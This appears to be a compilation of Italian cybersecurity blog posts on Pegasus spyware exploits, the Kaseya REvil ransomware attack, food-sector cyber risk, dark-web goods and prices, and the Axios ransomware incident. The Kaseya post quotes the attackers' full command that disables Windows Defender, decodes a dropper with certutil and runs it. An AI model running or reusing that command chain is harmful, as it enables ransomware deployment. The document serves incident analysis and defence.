Il 18 luglio 2021 Amnesty International ha avuto accesso ad un database di oltre 50.000 numeri di telefono di attivisti, giornalisti, politici, avvocati che sarebbero stati presi di mira dallo spyware Pegasus di proprietà della società israeliana NSO Group.

L’ONG inglese si è coordinata con diverse testate giornalistiche, come il The Guardian e Le Monde, per accusare formalmente la società israeliana di aver utilizzato il malware con finalità differenti da quelle previste, ovvero il monitoraggio di criminali e terroristi.

La storia dello spyware

Non è la prima volta che la NSO Group Technologies si trova al centro di un attacco mediatico: già nel 2016 la società venne accusata di sfruttare la vulnerabilità Trident al fine di hackerare diversi dispositivi di attivisti e giornalisti tra cui quello di Ahmed Mansoor, difensore dei diritti umani riconosciuto a livello internazionale.

Trident è composta da tre singole vulnerabilità che, se utilizzate in successione, consentono la completa compromissione di un dispositivo Apple a causa di un difetto del Webkit, il motore utilizzato dal browser Safari, dalla Mail e molte altre app Apple. Nello specifico:

CVE-2016-4657: Memory Corruption in WebKit - consente all’utente malintenzionato di compromettere il dispositivo quando l’utente fa clic su un link malevolo.
CVE-2016-4655: Kernel Information Leak - permette di avere accesso alla memoria del sistema operativo.
CVE-2016-4656: Compromissione della memoria del Kernel porta al Jailbreak – permette all’attaccante di fare in modo silente il jailbreak del dispositivo e installare Pegasus.

Nel 2018, a seguito dell’assassinio ad Instabul del giornalista saudita del Washington Post Jamal Khashoggi, è stato possibile identificare 6 SMS ricevuti che collegavano link malevoli direttamente allo spyware Pegasus.

Inoltre, WhatsApp nel 2019 ha rivelato che il software della NSO è stato utilizzato per inviare malware a più di 1.400 telefoni, tra cui quello di Jeff Bezos, sfruttando una nuova vulnerabilità zero-day: effettuando una chiamata WhatsApp su un dispositivo target, il codice dannoso di Pegasus veniva installato sul telefono, anche senza nessuna risposta da parte delle vittime.

Nel 2020 la vulnerabilità Kismet è stata utilizzata per veicolare Pegasus attraverso l’iMessage degli iPhone delle vittime nella versione iOS 13.5.1, di cui è stata subito rilasciata la patch da Apple.

A Luglio 2021, grazie ai ricercatori di Citizen Lab, sono stati identificati gli exploit ForcedEntry e Megalodon dal gruppo di sicurezza di Amnesty International, che ha appunto provveduto a denunciare la cosa. Le vittime di questo specifico caso hanno un peso specifico non indifferente: sia per la cifra elevata, una lista di 50.000 numeri di telefono, sia per la qualità delle intercettazioni che includono 13 capi di Stato, 180 giornalisti, accademici, uomini d’affari, avvocati, medici, diplomatici. Tra i politici spiccano nomi come Emanuel Macron e Angela Merkel, il primo perseguito dall’intelligence del Marocco mentre la seconda dagli 007 danesi. I Paesi che hanno maggiormente usufruito di questa tecnologia, oltre quelli già citati, sono il Messico e gli Emirati Arabi Uniti, con più di 10 mila numeri sorvegliati. L’immagine mostra una mappa dei Paesi che hanno avuto il maggiore impatto dall’attacco di spionaggio con più di 1000 numeri in Francia e 6000 per l’Algeria.

NSO ha temporaneamente limitato l’utilizzo di Pegasus per alcuni clienti e ha avviato le indagini sulle segnalazioni per uso improprio, decidendo così di creare un fronte di opposizione contro le accuse mondiali da parte di governi e testa giornalistiche, negando sul proprio sito che “la lista” sia riferita ai target dello spyware e che, in nessun modo, siano legate a NSO.

Pegasus:caratteristiche e analisi tecnica

La pericolosità di questi spyware è la natura zero-click: conoscendo il numero di telefono dell’utente target si ha la possibilità, senza la sua interazione, di estrarre messaggi, foto ed e-mail, di registrare chiamate e attivare le webcam e i microfoni. Accedendo al GPS, inoltre, vi sarebbe la possibilità di tracciare con precisione i movimenti di una persona in tempo reale.

Il valore commerciale di un’arma cyber di livello sofisticato varia dai 30 mila euro, se vengono utilizzati lo smishing o il phishing come vettori di attacco, fino a 8 milioni di euro per le vulnerabilità zero-click. In generale, più è facile inoculare un attacco, più questo diventa efficace e oneroso per il compratore.

Analizziamo le due vulnerabilità che hanno interessato i dispositivi Apple sfruttate dal malware Pegasus nel 2021 : CoreGraphics e Webkit.

CoreGraphics CVE-2021-30860, che analizzeremo più nel dettaglio, è stata segnalata il 24 agosto da The Citizen Lab. Si tratta di un attacco zero-click, ovvero dove il criminale non ha bisogno di nessuna interazione dell’utente. La vulnerabilità in questione sfrutta una problematica di integer overflow relativa alla componente Core Graphics, più precisamente nelle operazioni di decodifica di dati JBIG2. JBIG2 (Joint Bi-level Image Experts Group) è un formato di compressione di immagini che può essere inserito come stream in un documento PDF o PSD. Dalle analisi svolte da CitizenLab effettuate su dispositivi compromessi da Pegasus, sono emersi alcuni file di tipo immagine che causavano il crash di “IMTranscoderAgent” (uno dei componenti che permettono il processing dei dati di iMessage, inclusi l’invio / ricezione di immagini).

Dall’analisi effettuata da Tom McGuire, emerge come, all’interno della componente JBIG2Stream processor in una versione di macOS vulnerabile, la variabile “numSyms” (intero a 32bit) viene incrementata della dimensione del segmento del processo corrente. Questo può portare ad un evento di “integer overflow”, poiché non viene effettuato nessun controllo relativo a questi assegnamenti.

Come possiamo vedere anche dal codice disassemblato sottostante preso dalla versione macOS vulnerabile (11.5.2), l’istruzione add eax, rbx+0ch (che è un calcolo a 32-bit) non ha nessun controllo per evitare un possibile overflow.

In generale, per poter sfruttare una vulnerabilità le problematiche di tipo integer overflow sono spesso combinate con altri errori di programmazione. Ad esempio i numeri interi in questione vengono utilizzati per allocare dinamicamente porzioni di memoria. La variabile numSyms viene usata successivamente come primo argomento della gmallocn. Il valore di numSyms è in questo caso controllato dall’attaccante, con l’obbiettivo di mantenerlo il più piccolo possibile in modo da allocare solo una piccola parte di memoria per poi effettuare l’overflow. Nel codice sottostante si può visionare l’overflow effettivo. Alla riga 2004, alla variabile “syms” (risultato della gmallocn) viene assegnato il Bitmap(k). Poiché “k” è definito in funzione di getSize(), esso può avere un valore molto più grande rispetto alla dimensione allocata per “syms” e il risultato è un overflow.

Per quanto riguarda Webkit CVE-2021-30858 è stata scoperta da un ricercatore anonimo e concerne l’infezione del dispositivo dell’utente a causa del caricamento di pagine Web malevole utilizzando il browser Safari. Sembra che il gruppo criminale che ha sfruttato questa vulnerabilità abbia anche un sofisticato front-end per visualizzare i dettagli degli attacchi e delle loro vittime in tempo reale.

Remediation

Per quanto riguarda i dispositivi mobili, Apple ha rilasciato i nuovi aggiornamenti per iOS 14.8 e iPadOS 14.8 con un documento di supporto che descrive in modo approfondito le due vulnerabilità. Il consiglio è di aggiornare immediatamente il sistema operativo: le patch sono disponibili già per l’iPhone 6s e versioni successive, iPad Pro (tutti i modelli), iPad Air 2 e versioni successive, iPad 5a generazione e versioni successive, iPad mini 4 e versioni successive e iPod touch (7a generazione).

Amnesty International ha pubblicato un tool open source gratuito di nome Mobile Verification Toolkit (MVT) che può verificare se il proprio dispositivo è stato infettato da Pegasus. Il tool effettua un’analisi forense sui domini visitati dal dispositivo cercando dei pattern noti.

Attenzione: MVT è uno strumento di ricerca avanzato e il suo utilizzo richiede l’utilizzo di un esperto in analisi forensics.

È disponibile su GitHub

Conclusione

In futuro NSO Group continuerà a operare, a innovare e a sviluppare malware nuovi e sempre più sofisticati.

Alcuni ricercatori sostengono che le versioni più avanzate di Pegasus saranno in grado di occupare solo la memoria temporanea del dispositivo, il che significa che, una volta spento lo smartphone, ogni traccia digitale dello spyware potrebbe scomparire e rendere vani tool e indagini forensi.

Per chi si occupa di sicurezza informatica il compitò sarà quello di ridurre al minimo l’impatto degli attacchi con una strategia di mitigazione, creare awareness e lasciare il compito ai bug hunter di ricercare vulnerabilità zero day nei sistemi operativi e nelle applicazioni.

Attacchi alla Supply Chain: il caso Kaseya

Stefano Andreatta — Tue, 06 Jul 2021 10:16:01 +0000

Venerdì 2 luglio è stato registrato uno degli attacchi informatici di più vasta portata dopo Solarwinds: più di 1000 le aziende hanno subito un attacco ransomware coordinato dal gruppo criminale REvil e secondo le fonti Eset sarebbero 17 i paesi coinvolti tra cui UK, USA, Sudafrica, Canada, Argentina, Messico, Nuova Zelanda e Italia.

L’APT russa rivendica l’attacco in una nota sul loro blog in cui viene specificato che “è stata effettuata un’offensiva a diversi Managed Service Provider con migliaia di server e macchine infette”.

L’entità dell’attacco ha permesso ai criminali non solo di richiedere un riscatto di $5 milioni per ogni MSP crittografato e di $50 mila per ogni cliente, ma di proporre anche un acquisto “comune” di 70 milioni di dollari in Bitcoin per pubblicare un decryptor universale in grado di sbloccare tutti i sistemi. Il gruppo ha messo a disposizione delle organizzazioni colpite un metodo di contatto per negoziare la decifratura dei file.

Il gruppo REvil, conosciuto anche come Sodokinibi, si è costruito una reputazione dopo aver estorto 11 milioni di dollari al gigante brasiliano della carne JBS e più 50 milioni di dollari al fornitore taiwanese di Apple, Quanta, a seguito di un’esfiltrazione sugli schemi di progettazione del nuovo MacBook.

Le fasi dell’attacco

Per l’attacco è stata sfruttata una vulnerabilità zero-day (CVE-2021-30116) riconosciuta nel software VSA del provider IT Kaseya che ha permesso di propagare il ransomware nelle diverse reti delle infrastrutture IT. Il prodotto di Kaseya è basato su cloud e fornisce il monitoraggio in remoto dei provider di servizi gestiti grazie ad una console per gestire gli endpoint, distribuire patch e controllare l’accesso tramite MFA.

2 luglio 16:00 EDT: (le 22:00 italiane) l’azienda Kaseya scopre l’attacco informatico in corso ed indica come linee guida l’immediato spegnimento dei server VSA situati in loco dai clienti e lo stop dei servizi analoghi erogati in SAAS.
3 Luglio 10:30 EDT: Kaseya informa le forze dell’ordine e le agenzie governative per la sicurezza informatica. In serata pubblica un tool per il rilevamento dell’attacco.
4 Luglio: Kaseya dichiara di voler iniziare il processo di ripristino il 5 luglio EOD.
5 Luglio: è atteso un aggiornamento da parte di Kaseya verso le 13:00 EDT.
5 Luglio: il consiglio di amministrazione di Kaseya ha stabilito che la società non è pronta per iniziare il ripristino del VSA. Questa decisione sembra portare a un ritardo nel rilascio della patch.
6 Luglio: entro le 12:00 EDT è attesa la pubblicazione di nuovi aggiornamenti.

La dinamica

L’attacco mira a sfruttare l’anello debole della supply chain: in questo caso il sistema di patching dei server VSA.

Il pattern d’attacco è dunque molto simile a quello visto di recente nell’attacco “Sunburst”, in cui gli attaccanti, dopo aver ottenuto l’accesso ad alcuni server Solarwinds tramite un processo di privilege escalation hanno installato una backdoor in uno script di aggiornamento di Orion.

A differenza dell’attacco a Solarwinds, in cui gli attaccanti hanno sfruttato la vulnerabilità per effettuare un’attività di spionaggio industriale nei confronti delle organizzazioni che utilizzavano Orion, nell’attacco a Kaseya gli attaccanti hanno cifrato e reso inutilizzabili i dati e le procedure contenuti all’interno dei sistemi compromessi con lo scopo di chiedere un riscatto in bitcoin/monero.

Di seguito i dettagli dell’inizializzazione dell’attacco:

Il file malevolo è stato rilasciato all’interno del Kaseya’s TempPathcon il nome di agent.exe. Questo appare come: c:\kworking\agent.exe di default e può essere configurabile tramite HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Kaseya\Agent\<unique id>
La procedura VSA usata per il deploy del ransomware è chiamata “Kaseya VSA Agent Hot-fix”, mentre un’altra procedura è “Archive and Purge Logs”

La procedura “Kaseya VSA Agent Hot-fix” esegue quanto segue: C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe
Quando agent.exe viene eseguito, l’eseguibile legittimo di Windows Defender MsMpEng.exee l’encryptor payload mpsvc.dll vengono estratti nel path “c:\Windows” per eseguire DLL sideloading.

Come cambia il paradigma nella scelta del target

Dopo Solarwinds, la strategia di attacco dei criminali sembra essere cambiata: concentrare risorse e capacità informatiche sulla compromissione di un solo produttore a monte della supply chain del settore del software per avere pieno accesso ai diversi utilizzatori. Ciò rappresenta un punto di svolta e di innovazione nel mondo del cybercrime.

L’effetto moltiplicativo dell’attacco è semplice e intuitivo: compromettere la tecnologia software utilizzata dal provider scalando successivamente l’attacco su decine o centinaia di clienti. Un MSP diventa così un obiettivo di alto valore poiché genererà una grande superficie di diffusione del ransomware con un effetto worm senza che le aziende debbano agire in alcun modo.

Le organizzazioni criminali posseggono ormai dipartimenti dedicati alla ricerca delle vulnerabilità nei prodotti: gli attacchi non sono più mirati ad una specifica azienda target ma ad una tecnologia comune che riesca ad impattare migliaia di vittime, aggirando varie policy di sicurezza, poiché l’attacco viene introdotto da un elemento trusted. Nel dark web le vulnerabilità 0day più interessanti vengono acquistate attorno ai 2-5 milioni di dollari con un ritorno sull’investimento, nel caso di Kaseya e i 70 milioni, potenzialmente infinito.

Rimanere aggiornati non basta più

La CISA, l’agenzia per la Cybersecurity, è subito intervenuta condividendo gli indicatori di compromissione IoC per rilevare il ransomware e invita ad installare la patch (quando sarà resa disponibile), in seguito alla quale sarà necessario un ravvio dei server VSA.

Difendersi da questo genere di attacchi sembra sempre più complesso. Una possibile soluzione potrebbe essere quella di adottare una politica di “zero trust” ovvero di non fidarsi di niente e di nessuno, ma ciò è quasi impossibile nella maggior parte delle realtà aziendali, soprattutto quelle di grandi dimensioni.

Per ora, le raccomandazioni arrivano da CISA ed FBI. Le due agenzie consigliano agli MSP interessati dall’attacco di:

Scaricare lo strumento di rilevamento per il VSA Kaseya. Questo strumento analizza il server o l’endpoint gestito e determina se sono presenti indicatori di compromissione (IoC);
Abilitare l’autenticazione a più fattori (MFA) su ogni singolo account e per tutti i servizi rivolti ai clienti;
Limitare le funzionalità di monitoraggio e gestione remota (RMM);
Inserire le interfacce amministrative di RMM dietro una rete privata virtuale (VPN) o un firewall in una rete amministrativa dedicata.

Ai clienti dei Managed Service Provider coinvolti si raccomanda di intraprendere azioni immediate per implementare le seguenti best practice:

Assicurarsi che i backup siano aggiornati e correttamente archiviati;
Utilizzare un processo manuale di gestione delle patch;
Implementare un principio del least priviligies per gli account amministrativi.

La Cyber Security a difesa della tavola italiana

Jeremy Moeys — Wed, 30 Jun 2021 10:36:01 +0000

L’attacco ransomware a JBS, produttrice brasiliana di carne bovina che possiede più di 150 stabilimenti negli USA e in tutto il mondo, ha riportato l’attenzione delle agenzie internazionali sull’importanza della sicurezza informatica nel settore del Food & Beverage. Una dimostrazione di forza da parte del gruppo criminale REvil, conosciuto anche come Sodinokibi, che ha interrotto un quinto della fornitura di carne, sollevando una forte preoccupazione in un settore critico dell’economia degli Stati Uniti.

Il pagamento del riscatto, cifra che si aggira intorno agli 11 milioni di dollari in Bitcoin, è stato condannato duramente dal Congresso americano e dall’FBI con l’accusa che “qualsiasi pagamento al gruppo criminale avrebbe aumentato il rischio di futuri attacchi ransomware sul territorio”. Nonostante la multinazionale brasiliana impieghi ad oggi circa 850 tecnici worldwide con una spesa di 200 milioni di dollari per l’IT, gli investimenti in sicurezza informatica sono in proporzione esigui e non focalizzati sulla protezione dell’infrastruttura e alle conseguenze di potenziali attacchi cyber nel settore alimentare.

Il foodtech in Italia

L’applicazione della tecnologia al mondo alimentare, definito anche con il neologismo foodtech, è diventato un requisito necessario per poter essere competitivi in un settore consolidato e globalizzato.

L’automazione sta acquisendo un ruolo crescente nel settore primario e secondario, soprattutto perché i produttori alimentari ricercano sempre più l’efficienza della produzione per soddisfare sia i margini ristretti di guadagno che la crescente domanda globale di cibo.

In particolare, in Italia si assiste ad un processo di trasformazione digitale nel settore che sta avvenendo grazie ad aziende che investono per efficientare tutta la filiera con soluzioni innovative. Il panorama è vario e non omogeneo e le varie adozioni tecnologiche si differenziano a seconda dei fabbisogni di ciascuna azienda e dalle fasi della filiera. Possiamo però identificare tre aree dove la tecnologia crea un beneficio concreto alle aziende:

Nella produzione: pensiamo ad esempio un braccio robotizzato, la tecnologia permette di avere un ritorno maggiore sulla qualità finale del prodotto mentre la sensoristica IoT, di soddisfare i controlli qualità sempre più stringenti nel mondo del food.
Nello stoccaggio delle materie prime e dei prodotti finiti: si aumenta la capacità di gestione delle scorte e l’efficienza del trasporto.
Nella tracciabilità dei prodotti: secondo Osservatori Digital Innovation nel 2019 in Italia le tecnologie maggiormente utilizzate sono la blockchain (43%), seguita dai QR code (41%), dal app mobile (36%), l’IoT (30%) e il cloud (27%).

Rischi Cyber per il settore alimentare

Tutta questa connettività è, però, potenzialmente vulnerabile. Basti pensare che la botnet Mirai, una delle più grandi reti criminali utilizzate per attacchi DDoS, ricerca continuamente indirizzi IP di dispositivi IoT vulnerabili ed esposti di diverse aziende per ampliare la propria efficacia d’attacco.

Le conseguenze di un attacco cyber nel settore alimentare possono risultare molto impattanti sulla continuità del business e della filiera. Un esempio recente riguarda circa 800 supermercati svedese della catena Coop, i quali sono stati costretti a chiudere a causa dell’attacco informatico a Kaseya: le casse dei negozi, gestite con il software VSA, hanno risentito della vulnerabilità zero-day (CVE-2021-30116) e del conseguente attacco che ha permesso ai cyber criminali di distribuire un ransomware sulla loro infrastruttura IT. La catena ha invitato i consumatori a ritirare la merce deperibile per evitare lo spreco alimentare causando una forte perdita per la reddittività dei diversi punti vendita.

Per riassumere, tra i rischi principali correlati a questo specifico settore vi sono:

La paralisi della produzione causata da ransomware con conseguente aumento dei prezzi dei generi alimentari (es. il prezzo al chilo della carne triplicato dopo l’attacco a JBS) e difficoltà o mancata consegna di prodotti ai distributori finali. Un altro esempio recente avvenuto in Olanda riguarda un’azienda di food logistic produttrice e distributrice di formaggio pre-confezionato che il 27 aprile 2021 ha subito un attacco ransomware a causa di una vulnerabilità di Microsoft Exchange causando una carenza di prodotto a livello nazionale nella grande distribuzione organizzata. In particolare, anche le aziende di logistica che lavorano nella catena del freddo si rivelano essere target estremamente sensibili: la necessità di conservazione a basse temperature le rende facilmente ricattabili, in quanto un blocco dei sistemi comprometterebbe irrimediabilmente la composizione dei prodotti alimentari.

La contaminazione degli alimenti: grazie a un attacco in remoto si possono alterare i parametri e modificare in modo impercettibile i movimenti di un braccio meccanico. Un gruppo di ricercatori italiani con sede a Torino ha dimostrato quanto possa risultare facile l’hackeraggio dei macchinari utilizzati per tagliare, miscelare o confezionare alimenti, danneggiando la produzione e costringendo una casa produttrice, nel caso peggiore, ad un ritiro della merce dalla grande distribuzione. Il danno di immagine che ne deriverebbe non è di certo indifferente per un’azienda del food, che basa il ritorno economico sulla fiducia del consumatore.
Esfiltrazione dei dati: diverse tipologie di dati posso essere esfiltrati e pubblicati online rivelando proprietà intellettuale, processi interni e informazioni sensibili del personale, fornitori e clienti. È accaduto nel 2019 a un’azienda produttrice di salumi made in Italy. Il ransomware Maze della famosa ex-ATP russa è riuscito ad esfiltrare e pubblicare online 400 Mb di dati (e qualche ora dopo la stessa sorte è toccata al famoso birrificio belga Bush)

Si tratta di un caso sul nostro territorio che mette in luce le vulnerabilità del sistema alimentare contro le minacce digitali: i potenziali punti di ingresso per un attaccante sono molteplici ma spesso quello più delicato è il primo miglio, in cui si è più sensibili ai costi marginali e alle esportazioni che alla sicurezza della produzione. Le imprese dovrebbero sempre tenere presente che si tratta di una guerra su due fronti, avendo da un lato attacchi diretti alla propria infrastruttura e dall’altro attacchi indiretti contro aziende terze che si occupano di approvvigionamento delle materie prime e distribuzione.

Un oceano blu per il cybercrime

La filiera alimentare in Italia rappresenta il 15% del PIL nazionale con una cifra che si aggira ai 522 miliardi di euro ed è composta da 70.934 aziende tra piccoli-medi produttori e brand riconosciuti che esportano in tutto il mondo per un valore di 43,5 miliardi di euro. (Fonte: Annuario dell’agricoltura italiana 2019-2020)

Negli ultimi anni si è generato un gap tecnologico tra i piccoli-medi produttori e le grandi multinazionali: quest’ultime si sono potute strutturate internamente difendendo la propria proprietà intellettuale che necessita di una protezione ulteriore contro lo spionaggio industriale, mentre molte delle piccole-medie aziende del settore si basano ancora su sistemi operativi e software obsoleti non aggiornabili poiché in end-of-life.

Il fatto che ad oggi siano stati registrati diversi attacchi ransomware di rilievo, ad esempio a uno dei leader mondiali del beverage italiano e a una famosa multinazionale francese dell’industria lattiero-casearia, ci ricorda che nessuna azienda, sia per dimensione che per posizionamento, è immune dall’industria del cybercrime che sistematicamente estorce valuta digitale da vittime non preparate a rispondere ad attacchi informatici.

Ai confini della rete: viaggio tra i prodotti in vendita nel dark web

Fabio Crestani — Wed, 16 Jun 2021 10:36:01 +0000

Nel multiverso della rete esiste un luogo, una terra non emersa ma non così difficilmente raggiungibile, in cui è possibile acquistare letteralmente qualsiasi cosa. Nel Dark Web l’utente vive la propria customer journey e attraversa ogni fase: dall’esplorazione dei prodotti, alla scelta, alla recensione del venditore, proprio come succede sui marketplace.

Surface Web, Deep Web, Dark Web

Il cosiddetto Internet visibile (Surface Web, o Open Web), ovvero i siti che possono essere trovati attraverso motori di ricerca come Google, rappresentano solo la parte emersa di un pianeta nel cui nucleo si nascondono Deep Web e Dark Web. Il Deep Web rappresenta all’incirca il 90% di tutti i siti web; questa rete è talmente ampia che risulta impossibile scoprire esattamente quante pagine siano attive contemporaneamente. Il Deep Web include a sua volta una porzione di rete nota come Dark Web, che fa riferimento a siti non indicizzati e accessibili esclusivamente con browser specifici.

Il Dark Web viene utilizzato come luogo di scambio in cui è possibile acquistare merci, servizi o dati illeciti. Truffe, furto di dati bancari, diffusione non autorizzata di dati personali e compravendita di documenti falsificati, droghe e farmaci è solo una parte di ciò che c’è disponibile. Migliaia di cybercriminali sono pronti ad incassare denaro attraverso criptovalute, così comuni per la mancanza di intermediazione bancaria e per la possibilità di sfruttare la tecnica del mixing, che consiste nell’effettuare transazioni tra più wallet per depistare eventuali indagini. All’arcinoto Bitcoin si affiancano altri mezzi di pagamento ampiamente accettati e diffusi come Monero, Litecoin o Bitcoin cash.

Vaccini e sostanze stupefacenti

Con lo scoppio della pandemia, il settore pharma ha incrementato notevolmente le interazioni tra venditori e compratori di queste categorie di prodotti. Alcune piattaforme mettono a disposizione le dosi di vaccino Covid-19 di diverse case farmaceutiche, tra cui Pfizer-Biontech e Sputnik. Nello specifico, 800 fiale di Pfizer-Biontech vengono vendute a 19.000 euro (in sconto da 34.000) e 1000 dosi di Sputnik a 6.500 euro (in sconto da 8.000).

Insieme ai vaccini vengono spedite le istruzioni dettagliate per l’inoculazione, i componenti, i contenuti dei trial clinici e il bugiardino con gli effetti indesiderati. I venditori sono recensiti con average score molto alti (“excellent” e “very good”), forse anche per via della loro disponibilità: non è difficile contattarli via mail, WhatsApp o Telegram.

Nel capitolo pharma non può mancare un riferimento ai due top seller in questo campo: sostanze stupefacenti (cocaina, metanfetamina, hashish…) e farmaci (popolari le benzodiazepine) per cifre che vanno da 6 a 100 dollari, fino a più di 3.000 al variare del prodotto.

Data Breach e Data Leak

Ovvie le collection di dati trafugati da siti web e piattaforme online. Tra i data breach proposti dai venditori considerati affidabili (con una valutazione dal 90% al 100%), quelli più ricorrenti fanno riferimento a piattaforme e-commerce del settore fashion, a servizi travel/hotel, healthcare/sportivi e a piattaforme social network, oltre banche dati miste, per lo più provenienti dagli USA.

I costi di acquisto dei dump variano da 24 a 300 dollari a seconda della qualità e della quantità di dati: dal noto e gigantesco data leak di Facebook in cui sono presenti 533 milioni di records (i dati pubblicati appartengono a 533.312.128 utenti Facebook divisi per Nazione e contengono informazioni quali il numero di telefono, l’ID Facebook, il genere, l’indirizzo di residenza, la data di nascita e l’indirizzo email) fino a un database composto da 5 collection miste diverse per un totale di quasi 2,7 miliardi di records composti da combinazioni di email e password.

Interessante notare, nel caso del database Facebook, l’avvertimento da parte del venditore: “attenzione ai finti database composti da finte email e finti numeri di telefono”.

Dati bancari

Parlando di raccolte di dati finanziari, anche paesi Europei come Germania, Polonia e Liechtenstein non mancano. I prezzi variano di molto passando dalle decine di dollari relativi ai data breach ad un prezzo di vendita di 1.000 o 2.000€ per ogni gruppo di dati bancari. Anche in questi casi i venditori sono recensiti con average score oltre il 90%. Il costo è giustificato dalla massima qualità dei database: ognuno include infatti numeri di carte di debito, sim card, id card o ancora account di online banking con password e pin.

Ad esempio, sono presenti collection di account bancari europei declinati sia come “personal”, sia come “business”, vendute tra 1.500 e 1.900 Euro.

Questi database contengono le informazioni necessarie a effettuare transazioni, anche fisiche (credit/debit card e relativi pin): per gli account business, il possessore dei dati può effettuare transazioni online senza limiti e può prelevare fino a 10.000€ al giorno presso i punti autorizzati. Per gli account personal invece, 25.000 € al giorno è il limite dell’online banking e 10.000€ al giorno dei prelievi presso gli atm autorizzati.

Tra i prodotti disponibili in questa categoria non mancano le carte di credito prepagate, con un costo medio per carta di 150$, le cui disponibilità si aggirano intorno ai 2.000 o 3.000$, e soldi falsi: 2.500 dollari falsi si possono acquistare al prezzo di 249$ (veri).

Documenti d’identità

Infine, per circa 500$ è possibile acquistare documenti reali verificati. Per esempio, un passaporto italiano con 10 anni di validità costa 600$. Con 85$, invece, acquisti il servizio di costruzione di un passaporto fittizio. Se si possiedono competenze grafiche, ci si può “accontentare” di template riutilizzabili: con soli 10 dollari ottieni passaporti modificabili in software di grafica, una soluzione efficace per la costruzione di identità fittizie utilizzate nelle frodi online, che non richiedono il documento fisico. Anche la patente di guida è facilmente reperibile: una patente italiana fake costa circa 150€, circa la metà di una reale con validità di 10 anni che è acquistabile per circa 350€.

Il Dark Web era stato sviluppato inizialmente con lo scopo di mantenere le comunicazioni private, garantire la privacy tramite la navigazione anonima favorendo la libertà di parola. Come tutte le innovazioni tecnologiche il suo utilizzo è ben presto cambiato favorendo una copertura naturale della criminalità dalle agenzie governative anticrimine e diventando uno dei mercati neri più grandi al mondo. Il Dark Web oggi rappresenta per noi uno strumento necessario a mentenere sotto costante monitoraggio trend, minacce e attacchi per sviluppare un efficace riconoscimento delle minacce, e di conseguenza, un’adeguata strategia di risposta. Questa fotografia rappresenta uno spaccato di un ambiente in cui la proposta è molto ampia, e spesso, ancor più pericolosa.

Quattro lezioni dal caso Axios

Filadelfio Emanuele — Tue, 13 Apr 2021 10:36:01 +0000

Durante la prima settimana di aprile, a pochi giorni dalla riapertura delle scuole, tutti i genitori, insegnanti e studenti delle nostre scuole si sono trovati di fronte all’indisponibilità del famoso “registro elettrico”, portale web fornito dall’azienda Axios.

Il 3 Aprile alle 11:00, Axios ha pubblicato un primo comunicato sul proprio sito “a seguito di un improvviso malfunzionamento tecnico occorso durante la notte, si è reso necessario un intervento di manutenzione straordinaria.” Il portale risultava quindi offline da diverse ore come era già accaduto durante altre precedenti occasioni. Nelle ore e giorni successivi sono stati forniti ulteriori dettagli relativo all’accaduto e nella serata del 5 aprile Axios pubblica il seguente comunicato: “a seguito delle approfondite verifiche tecniche messe in atto da Sabato mattina in parallelo con le attività di ripristino dei servizi, abbiamo avuto conferma che il disservizio creatosi è inequivocabilmente conseguenza di un attacco ransomware portato alla nostra infrastruttura.”

A distanza di una settimana il servizio è tornato attivo provocando un grosso mal di testa per la società che eroga il servizio. L’ultima comunicazione da parte della società riporta che “non risultano presenti rischi per i diritti e le libertà delle persone fisiche”, Axios ha infatti specificato che “i dati personali gestiti non sono stati persi/distrutti e non vi è stata alcuna visione/estrapolazione indebita.” Sarà così?

L’anatomia dell’attacco ransomware

Un piano di risposta concordato e strutturato è fondamentale in un’organizzazione, perché permette di intervenire in caso di attacco. Ma per definire un piano di azione, bisogna fare un passo indietro ed analizzare l’anatomia dell’attacco. Anche se non si hanno dettagli sicuri sul malware che ha colpito Axios, possiamo analizzare un comune attacco ransomware.

Il momento più eclatante, in cui il ransomware “chiede il riscatto”, è soltanto lo step finale di una catena di azioni che sono state eseguite precedentemente. Se si manifesta questa fase, possiamo affermare con certezza che le difese non hanno avuto effetto e nessuna attività di detect dei sintomi e comportamenti anomali durante le fasi precedenti hanno permesso di bloccare il completamento del processo.

Se ripercorriamo tutti gli step, possiamo notare che le prime 3 azioni compiute all’interno dell’attacco hanno come obiettivo quello di ottenere privilegi sfruttando una vulnerabilità.

Queste tre fase di identificazione e sfruttamento della vulnerabilità portano al nocciolo dell’attività: il deploy del malware, da cui inizia la Data Exfiltration (che ricordiamo, sembra non aver coinvolto Axios) e che si conclude con la crittografia dei dati sorgenti e la richiesta del riscatto. Il tempo totale di questo processo impiega mediamente 6 settimane, ma in molti casi raggiunge anche i 3 mesi.

Dal momento iniziale, fino a quello finale (la famosa schermata con la richiesta in cryptovaluta), il comune denominatore da un punto di vista di comportamento della macchina è l’anomalia. Spieghiamo meglio: come SOC, parte della nostra attività consiste nel monitoraggio continuo, sia del perimetro pubblico, che di quello aziendale. Questo costante monitoraggio ci permette di identificare eventuali anomalie nel comportamento dei dispositivi in rete, e quindi analizzarle. L’analisi dell’anomalia è fondamentale per intercettare una minaccia. Per utilizzare un sillogismo, tutti gli attacchi comportano un’anomalia, ma non tutte le anomalie rappresentano una minaccia.

Questa attività è necessariamente eseguita da tecnologie e tool avanzati, che devono essere gestiti, controllati e arricchiti da team competenti (interni o esterni all’azienda) e con una particolare attenzione alla copertura oraria: Axios, ad esempio, ha dichiarato che il “malfunzionamento tecnico” è occorso durante la notte tra venerdì e sabato.

Quattro lezioni dal caso Axios

Strutturare un processo di Incident Response ad hoc per attivare una risposta tempestiva ed efficace nel caso in cui l’attacco vada a buon fine Il governo delle difese aziendali deve passare anche dalla gestione dell’incidente e dei piani di emergenza in caso di attacchi gravi, che deve prevedere un intervento in modalità 24x7. Come vediamo, molti degli attacchi recenti avvengono di venerdì sera. L’impatto dell’attacco informatico è direttamente proporzionale al tempo di risposta messo in campo.
